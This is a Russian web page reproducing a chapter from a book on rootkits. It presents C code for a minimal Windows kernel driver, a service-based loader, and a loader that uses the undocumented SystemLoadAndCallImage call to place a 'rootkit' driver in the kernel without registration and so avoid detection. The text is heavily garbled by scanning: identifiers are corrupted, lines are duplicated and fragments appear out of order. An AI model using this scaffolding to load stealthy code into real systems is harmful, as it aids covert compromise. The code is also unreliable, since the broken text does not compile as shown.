На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Когда программы используют драйвер

Программы, которые работают с правами пользователей, могут использовать драйвер, открывая его дескриптор файла. Как правило, хакеры не создают обычных драйверов, поскольку их единственной целью является передача программного кода в ядро.
Обычно доступ к драйверу осуществляется посредством дескриптора файла, к которому отправляют данные пользовательские приложения. Эти данные доставляются в виде пакетов IRP (Input/Output Request Packet— пакет запроса ввода-вывода). Для управления пакетами IRP драйвер должен зарегистрировать процедуру обратного вызова. Мы продемонстрируем это. Наша процедура-заглушка (фиктивная процедура) просто завершает все пакеты IRP, но ничего с ними не делает. В данном случае все нормально, поскольку мы не предпринимаем попытку связаться с какой-либо пользовательской программой.
Для управления пакетами IRP нам необходимо заполнить массив указателями функций к нашей функции обратного вызова.
//Регистрация управляющей функции.
for (i =0; i < IRP_MJ_MAXIMUM_FUNCTION;
{
theDriverObject->MajorFunction[i] = OnStubDispatch;
}
Мы используем очень простую функцию обратного вызова.
NTSTATUS OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status =STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irp->IoStatus.Status;
}
Эта процедура просто завершает все IRP-пакеты, т.е. мы просто отбрасываем все, что получаем, и игнорируем все пакеты IRP.
Стандартные драйверы всегда регистрируют управляющую процедуру. Однако для набора средств для взлома совершенно не требуется взаимодействие с пользовательской программой, и мы можем полностью игнорировать управляющую процедуру. Это не совсем правильно, но нам не о чем беспокоиться, поскольку мы не хотим взаимодействовать с пользовательскими приложениями.
Возможность выгрузки драйвера
Для большинства наборов средств для взлома нет необходимости в возможности выгрузки. После установки набора средств для взлома, обычно он должен оставаться загруженным на протяжении всей работы компьютера. Однако, как мы указали, при создании и тестировании нового набора средств для взлома, есть смысл в процедуре выгрузки. Благодаря ей можно будет многократно загружать и выгружать набор средств для взлома на этапе разработки. По завершении тестирования можно удалить процедуру выгрузки.

Чтобы получить возможность выгрузки драйвера, требуется зарегистрировать процедуру выгрузки. Предоставить указатель для процедуры выгрузки можно следующим образом.
theDriverObj e5ct—>DriverUnload =OnUnload;
Процедура выгрузки тоже очень проста.
VOID OnUnload(IN PDRIVERJDBJECT DriverObject ) {
DbgPrint("ROOTKIT:OnUnload called \ n") ;
}
Ниже приведен полный код простого драйвера, который можно загружать в ядро и выгружать из ядра.
//Драйвер устройства #include "ntddk.h"
/*_
. Эта функция только завершает все пакеты IRP.
. Мы полностью игнорируем действия пользователя, поэтому
. ээта (фгнкция нне ддотажн» ввыжыввються --
._*/
NTSTATUS
OnStubDispatch(
IN PDB»TCE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status =STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
return Irf>->IoStatus-.Status;
}
/*_
. Эта функция вызывается при динамической выгрузке драйвера
. Щужно ззааэершить ввсе, ччто оддегаано, ввызиав ффункцию HRHL_PASSffiVE„
._*/
VOID OnUnload(IN PDRIVER_OBJECT DriverObjectt )
{
DbgPrint("ROOTKIT:OnUnload called \ n") ;
}
NTSTATUS DriverEntrydN PDRIVERJDBJECT theDriverObject, % IN PUNICODE_STRING theRegistryPath )
{
int i;
int i;
DbgPrint("Мой драйвер загружен!");
DbgPrint("Мой драйвер загружен!") ;
//Регистрация управляющей функции.
//Регистрация управляющей функции_ [гц;
for (i = 0;i <IRP_MJ_MAXIMUM_FUNCTION; i++)
theDriverObject->MajorFunction [i] = OnStubDispatch;
/*_[ Нам НЕОБХОДИМО зарегистрировать функцию Unload(). L— ■
. таким образом мы получим возможность . динамически выгружать драйвер
/
theDriverObject->DriverUnload =>OnUnload;
return STATUS_SUCCESS;
)

йвера не делает ничего особо ценного. Имея более серьезные планы, можно загрузить программу Dbgvnt с сайта http://www.sys-internals.com, воспользовавшись которой можно просматривать сообщения отладчика при вызовах функции DbgPrint.
Регистрация драйвера
Приведенный далее программный код можно использовать для регистрации драйвера. В этом примере наш драйвер сохранен как с: \_root_. sys.
//adv_loader.срр "Определяет точку входа для консольного приложения.
// код является результатом адаптации примера на www.sysinternals.com //и удовлетворяет требованиям кода по загрузке драйвера
//предоставлено R00TKIT.COM
#include "stdafx.h" #include <windows.h> #include <process.h>
void usage(char *p){ printf("Usage:\n%s l\t load driver from "£> с ::\\\_raoot__ssys\n%s u \tunload
driver \n",p,p);/ int main(int argc,char* argv []) {
if(argc !=2)
{
usage(argv [0]); exit (0);
}
if(*argv[l] ==='1')
{
printf (''Регистрацияя root]t:it-t"'ДрайBiераз"..\n»")) ;
SC_HANDLE sh =OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if (!sh)
{
puts("error OpenSCManager"); exit(1);
}
sc_handlE rh ==Cr%a%e§ervice (
sh,
'"_r§ot_",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
'"C^Vwroot^sys",
NULL, NULL, NULL, NULL, NULL); if(!rh)
{
if (GetLastError()==ERROR_SERVICE_EXISTS)
{
//служба существует
rh =OpenService( sh,
'"_root_",
SERVICE_ALL_ACCESS);
if(!rh) {

Наборы средств для взлома
333
puts("error OpenService") ; CloseServiceHandle(sh); exit (1) ;
}
)
else
I
puts ("error CreateService" ) ; CloseServiceHandle(sh); exit(1);
j
)
else if(*argv [1 ]=='u')
I
SERVICE_STATUS ss;
printf("Выгрузка rootkit-драйвера"An");
SCHANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL ACCESS);
if(!sh)
i
putsf'error OpenSCManager"); exit(1);
)
SC_HANDLE rh =OpenService(
sh,
"_root_",
SERVICEALLACCESS) ;
if [! rh) I
puts ("error OpenService"); CloseServiceHandle(sh); exit(1);
)
if(!ControlService[rh,SERVICE CONTROL STOP,Sss)) <
puts("предупреждение: невозможно остановить службу");
>
if (!DeleteService(rh) ) i
puts("предупреждение: невозможно удалить службу");
}

CloseServiceHandle(rh); CloseServiceHandle(sh);
)
else usage(argv[0]); return 0;
else if(*argv [1 ]=='u')
{
SERVICE_STATUS ss;
printf("Выгрузка rootkit-драйвера".\n");
SC_HANDLE sh = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if(!sh)
{
puts ("error OpenSCManager") ; exit(l);
}
SC_HANDLE rh =OpenService(
sh,
"_root_",
SERVICE_ALL_ACCESS);
if(!rh)
{
puts ("error OpenService") ; CloseServiceHandle(sh); exit(l);
}
if ( !ControlService(rh,SERVICE_CONTROL_STOP,&ss))

заться причиной обнаружения деятельности хакера. Используя недокументированный вызов функции API SystemLoadAndCalllmage, для систем Windows NT можно загрузить и запустить драйвер за одно действие. При этом не требуется никакой регистрации. Однако это означает, что после загрузки драйвера его невозможно выгрузить! Наша программа будет находиться в памяти до следующей перезагрузки компьютера. Другой побочный эффект заключается в том, что мы можем за один сеанс загрузить драйвер несколько раз. Обычно драйвер может загружаться только один раз, но применив наш специальный системный вызов, мы можем загружать и запускать столько копий драйвера, сколько нам нужно.
Ниже приведен код для этой специальной загрузки программы. Предполагается, что местом хранения набора средств для взлома является с: \_root_. sys.
//программа загрузки для установки набора средств для взлома в ядре
//www.rootkit.com
tinclude <windows.h> (include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength; tifdef MIDL_PASS
[size_is(MaximumLength 12 ), length^is((Length) / 2) ] USHORT * Buffer;
#else //midl_pass pwstr Buffer; iendif //midl_PASS
JUNICODESTRING, *PUNICODE_STRING; typedef long NTSTATUS;
tdefine NT_SUCCESS(Status) ((NTSTATUS) (Status) >- 0)
NTSTATUS ( stdcall *ZwSetSystemlnformation)( IN DWORD SystemlnformationClass, IN OUT pvoid Systemlnformation, IN ulong SystemlnformationLength ) ;
VOID (_stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN pcwstr SourceString
);
typedef struct _s Y s t EM_loAD_AN D_C ALL_ I MAG e

Наборы средств для взлома 335
1у7v/77111777777777/77777777777777777777у7777777777777/777у77v //получаем точки входа DLL.
////////////////////////////////////////////////////////////// if( !(RtllnitUnicodeString =(void *)
GetProcAddress(GetModuleHandle("ntdll.dll")
,"RtllnitUnicodeString"
)
)
) {
exit (1) ;
}
if(!(ZwSetSystemlnformation =(void *) GetProcAddress(
GetModuleHandle("ntdll.dll") ,"ZwSetSystemlnformation"
j
)
) {
exit (1) ;
}
RtllnitUnicodeString(
&(Gregslmage.ModuleName) ,daPath
) i
if (
NT_SUCCESS(
ZwSetSystemlnformation(
SystemLoadAndCalllmage ,&GregsImage
,sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)
)
) ) I
printf("Набор средств для взлома загружен.\n") ,
else
printf ("Набор средств для взлома не загружен.\п")
}
Теперь у нас есть все необходимое для создания простого драйвера устройства и загрузки/выгрузки этого драйвера из ядра. Далее мы расскажем о приемах, предназначенных для сокрытия файлов, каталогов и запущенных в системе процессов.

UNICODE_STRING ModuleName; }SYSTEM_LOAD_AND_CALL_IMAGE,* psYSTEM_LOAD_AND_CALL_IMAGE;
♦define SystemLoadAndCalllmage 38
void main(void)
!
sYstEM_LOAD_AN D_cA L L_IMAGE Gregslmage; WCHAR daPath [] =-l"\\7 ?\\C: WBASIC. SYS";

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика